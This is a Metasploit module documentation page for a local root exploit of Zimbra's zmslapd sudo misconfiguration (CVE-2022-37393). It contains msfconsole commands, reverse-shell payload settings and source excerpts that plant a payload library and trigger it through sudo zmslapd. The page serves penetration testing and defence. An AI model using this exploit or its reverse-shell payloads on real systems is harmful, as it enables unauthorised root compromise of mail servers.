Zimbra zmslapd arbitrary module load - Metasploit
This page contains detailed information about how to use the exploit/linux/local/zimbra_slapper_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Zimbra zmslapd arbitrary module load
Module: exploit/linux/local/zimbra_slapper_priv_esc
Source code: modules/exploits/linux/local/zimbra_slapper_priv_esc.rb
Disclosure date: 2021-10-27
Last modification time: 2022-08-04 08:19:44 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2022-37393
This module exploits CVE-2022-37393, which is a vulnerability in Zimbra's sudo configuration that permits the zimbra user to execute the zmslapd binary as root with arbitrary parameters. As part of its intended functionality, zmslapd can load a user-defined configuration file, which includes plugins in the form of .so files, which also execute as root.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/zimbra_slapper_priv_esc
msf exploit(zimbra_slapper_priv_esc) > show targets
... a list of targets ...
msf exploit(zimbra_slapper_priv_esc) > set TARGET target-id
msf exploit(zimbra_slapper_priv_esc) > show options
... show and set options ...
msf exploit(zimbra_slapper_priv_esc) > set SESSION session-id
msf exploit(zimbra_slapper_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on
Go back to menu.
Msfconsole Usage
Here is how the linux/local/zimbra_slapper_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/zimbra_slapper_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > show info
Name: Zimbra zmslapd arbitrary module load
Module: exploit/linux/local/zimbra_slapper_priv_esc
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-10-27
Provided by:
Darren Martyn
Ron Bowes
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on
SUDO_PATH sudo yes Path to sudo executable
ZIMBRA_BASE /opt/zimbra yes Zimbra's installation directory
Payload information:
Description:
This module exploits CVE-2022-37393, which is a vulnerability in
Zimbra's sudo configuration that permits the zimbra user to execute
the zmslapd binary as root with arbitrary parameters. As part of its
intended functionality, zmslapd can load a user-defined
configuration file, which includes plugins in the form of .so files,
which also execute as root.
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-37393
https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/
Module Options
This is a complete list of options available in the linux/local/zimbra_slapper_priv_esc exploit:
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > show options
Module options (exploit/linux/local/zimbra_slapper_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on
SUDO_PATH sudo yes Path to sudo executable
ZIMBRA_BASE /opt/zimbra yes Zimbra's installation directory
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.0.126 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/local/zimbra_slapper_priv_esc exploit:
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > show advanced
Module advanced options (exploit/linux/local/zimbra_slapper_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AllowNoCleanup false no Allow exploitation without the possibility of cleaning up files
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugBuild false no Use a debug version of Meterpreter
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-
framework/wiki/Meterpreter-Debugging-Meterpreter-Sessions
MeterpreterTryToFork false no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy
but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/zimbra_slapper_priv_esc module can exploit:
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/zimbra_slapper_priv_esc exploit:
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/ssh/interact normal No Interact with Established SSH Connection
5 payload/generic/tight_loop normal No Generic x86 Tight Loop
6 payload/linux/x64/exec normal No Linux Execute Command
7 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
8 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
9 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
10 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
11 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
12 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
13 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
14 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
15 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
16 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
17 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
18 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
19 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
20 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
21 payload/linux/x86/adduser normal No Linux Add User
22 payload/linux/x86/chmod normal No Linux Chmod
23 payload/linux/x86/exec normal No Linux Execute Command
24 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
27 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
28 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
29 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
30 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
32 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
33 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
34 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
35 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
36 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
37 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
38 payload/linux/x86/read_file normal No Linux Read File
39 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
42 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
43 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
44 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
45 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
47 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
48 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
49 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
50 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
51 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
52 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/zimbra_slapper_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Session already has root privileges
- zmslapd executable not detected: <ZIMBRA_BASE>/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)
- Could not find sudo: <SUDOPATH> (set SUDO_PATH if sudo isn't in $PATH)
- Current user could not execute sudo -l
- Current user does not have access to run zmslapd
- <BASE_DIR> is not writable
- Exploit dir already exists
- Failed to create session! Cmd output = <OUT>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
65: # Because this isn't patched, I can't say with 100% certainty that this will
66: # detect a future patch (it depends on how they patch it)
67: def check
68: # Sanity check
69: if is_root?
70: fail_with(Failure::None, 'Session already has root privileges')
71: end
72:
73: unless file_exist?("#{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
74: print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
75: return CheckCode::Safe
zmslapd executable not detected: <ZIMBRA_BASE>/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)
Here is a relevant code snippet related to the "zmslapd executable not detected: <ZIMBRA_BASE>/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)" error message:
69: if is_root?
70: fail_with(Failure::None, 'Session already has root privileges')
71: end
72:
73: unless file_exist?("#{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
74: print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
75: return CheckCode::Safe
76: end
77:
78: unless command_exists?(datastore['SUDO_PATH'])
79: print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")
Could not find sudo: <SUDOPATH> (set SUDO_PATH if sudo isn't in $PATH)
Here is a relevant code snippet related to the "Could not find sudo: <SUDOPATH> (set SUDO_PATH if sudo isn't in $PATH)" error message:
74: print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
75: return CheckCode::Safe
76: end
77:
78: unless command_exists?(datastore['SUDO_PATH'])
79: print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")
80: return CheckCode::Safe
81: end
82:
83: # Run `sudo -n -l` to make sure we have access to the target command
84: cmd = "#{datastore['SUDO_PATH']} -n -l"
Current user could not execute sudo -l
Here is a relevant code snippet related to the "Current user could not execute sudo -l" error message:
84: cmd = "#{datastore['SUDO_PATH']} -n -l"
85: print_status "Executing: #{cmd}"
86: output = cmd_exec(cmd).to_s
87:
88: if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
89: print_error('Current user could not execute sudo -l')
90: return CheckCode::Safe
91: end
92:
93: if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
94: print_error('Current user does not have access to run zmslapd')
Current user does not have access to run zmslapd
Here is a relevant code snippet related to the "Current user does not have access to run zmslapd" error message:
89: print_error('Current user could not execute sudo -l')
90: return CheckCode::Safe
91: end
92:
93: if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
94: print_error('Current user does not have access to run zmslapd')
95: return CheckCode::Safe
96: end
97:
98: CheckCode::Appears
99: end
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
99: end
100:
101: def exploit
102: base_dir = datastore['WritableDir'].to_s
103: unless writable?(base_dir)
104: fail_with(Failure::BadConfig, "#{base_dir} is not writable")
105: end
106:
107: # Generate a random directory
108: exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
109: if file_exist?(exploit_dir)
Exploit dir already exists
Here is a relevant code snippet related to the "Exploit dir already exists" error message:
105: end
106:
107: # Generate a random directory
108: exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
109: if file_exist?(exploit_dir)
110: fail_with(Failure::BadConfig, 'Exploit dir already exists')
111: end
112:
113: # Create the directory and get ready to remove it
114: print_status("Creating exploit directory: #{exploit_dir}")
115: mkdir(exploit_dir)
Failed to create session! Cmd output = <OUT>
Here is a relevant code snippet related to the "Failed to create session! Cmd output = <OUT>" error message:
128: write_file(library_path, generate_payload_dll)
129:
130: cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}"
131: print_status "Attempting to trigger payload: #{cmd}"
132: out = cmd_exec(cmd)
133:
134: unless session_created?
135: print_error("Failed to create session! Cmd output = #{out}")
136: end
137: end
138: end
Go back to menu.
Related Pull Requests
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- #17116 Merged Pull Request: Adding CVE-2022-22947 Spring Cloud Gateway RCE Exploit
- #17092 Merged Pull Request: netlm_downgrade: Cleanup and support non-Meterpreter sessions
- #16987 Merged Pull Request: guard for all possible RubySMBError conditions
- #17123 Merged Pull Request: netrc and fetchmailrc docs
- #17057 Merged Pull Request: Msf::Post::Windows::ExtAPI: Remove load_extapi method
References
See Also
Check also the following modules related to this module:
- exploit/linux/local/zimbra_postfix_priv_esc
- exploit/linux/http/zimbra_cpio_cve_2022_41352
- exploit/linux/http/zimbra_mboximport_cve_2022_27925
- exploit/linux/http/zimbra_unrar_cve_2022_30333
- exploit/linux/http/zimbra_xxe_rce
- exploit/unix/webapp/zimbra_lfi
Authors
- Darren Martyn
- Ron Bowes
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
